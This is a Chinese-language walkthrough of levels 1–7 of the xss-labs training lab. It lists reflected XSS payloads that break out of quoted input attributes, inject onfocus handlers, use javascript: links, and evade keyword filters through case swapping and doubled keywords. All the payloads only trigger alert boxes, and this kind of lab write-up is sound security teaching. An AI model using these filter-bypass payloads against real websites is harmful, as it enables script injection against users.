xss-labs Less1-7关卡
下载地址
Githubhttps://github.com/do0dl3/xss-labs
Less1
我们在这个地方输入a
他直接就显示出来了
我们输入<script>alert(/a/)</script>
他就弹窗没有可能是没有进行任何过滤
Less2
第二关我们直接输入<script>alert(/a/)</script>
发现他显示出来了
查看一下源码他已经实体化了
查看一下http源代码发现他还保留在表单上
1 | <input name=keyword value="<script>alert(/a/)</script>"> |
我们就可以构建成下面这样
在表单上输入到是"><script>alert(/a/)</script> //
介绍
可以看见下面">
他叫前面的标签给闭合了后面的//
注释了后面的代码
1 | <input name=keyword value=""><script>alert(/a/)</script> //"> |
Less3
我直接输入<script>alert(/a/)</script>
发现他显示出来了
被实体化
我们可以输入script '"><
看看那个被过滤了
可以看见"><
是被过滤了的
我们分析一下下面这个在php是可以弹窗的
1 | <input name=keyword value='这个是什么输入东西'> |
我们可以输入就可以用'
和添加属性
来进行弹窗
前面的1'
用来闭合前面的属性后面添加一个事件onfocus='alert(1)'
在后面//进行注释onfocus
事件获取到焦点时触发会
1 | <input name=keyword value=' 1'onfocus='alert(1)' //'> |
我们在输入框输入1'onfocus='alert(1)' //
我们添加一下输入框他就会弹出
Less4
我直接输入script '"><
看看他过滤什么东西
发现没有了>和<
我们输入1'onfocus='alert(1)' //
发现他是"
我们输入的是'
不一样
我们可以输入就可以用"
和添加属性
来进行弹窗
和Less3基本是一样的只是符合不一样一个是'
一个是"
我们分析一下下面这个在php是可以弹窗的
1 | <input name=keyword value='这个是什么输入东西'> |
前面的1"
用来闭合前面的属性后面添加一个事件onfocus='alert(1)'
在后面//进行注释onfocus
事件获取到焦点时触发会
1 | <input name=keyword value="1"onfocus='alert(1)' // "> |
这样我们就可以输入1"onfocus='alert(1)' //
level5
直接输入script '"><
看看他过滤什么东西
发现他什么都没有过滤
我们在输入1"onfocus='alert(1)' //
看看
可以看见on
被过滤了
我想了一下可以用超链接进行点击,用为协议进行
用下面代码进分析
">
用来闭合前面的input
标签,//
还是注释后面的
1 | <input name=keyword value=""><a href="javascript:alert(1);" >点我</a> //"> |
我们输入"><a href="javascript:alert(1);" >点我</a> //
level6
输入script '">< on
看看他过滤什么东西,我这个又添加了on应为前面可以看见on被转换了
发现还是on
被转换成o_n
我们输入上面的level5"><a href="javascript:alert(1);" >点我</a> //
可以看见href
被转换成了hr_ef
1 | <input name=keyword value=""><a hr_ef="javascript:alert(1);" >点我</a> //"> |
我们叫href
大小写替换查询一下变成"><a HrEf="javascript:alert(1);" >点我</a> //
代码就变成这样了应为html
标签是不区分大小写的
1 | <input name=keyword value=""><a HrEf="javascript:alert(1);" >点我</a> //"> |
可以看见绕过了
level7
输入script '">< on On
看看他过滤什么东西,我这个又添加了On
看看他会不会被过滤
可以看见script,on,On
都过滤成空了
我们就可以写绕过比如script
写成scrscriptipt
下面这个oonnfocus
原本是onfocus
应为他on
被过滤空
介绍oonnfocus
的on
变成空,就变成onfocus
1 | <input name=keyword value=" 1"oonnfocus='alert(1)' // "> |
我们输入1"oonnfocus='alert(1)' //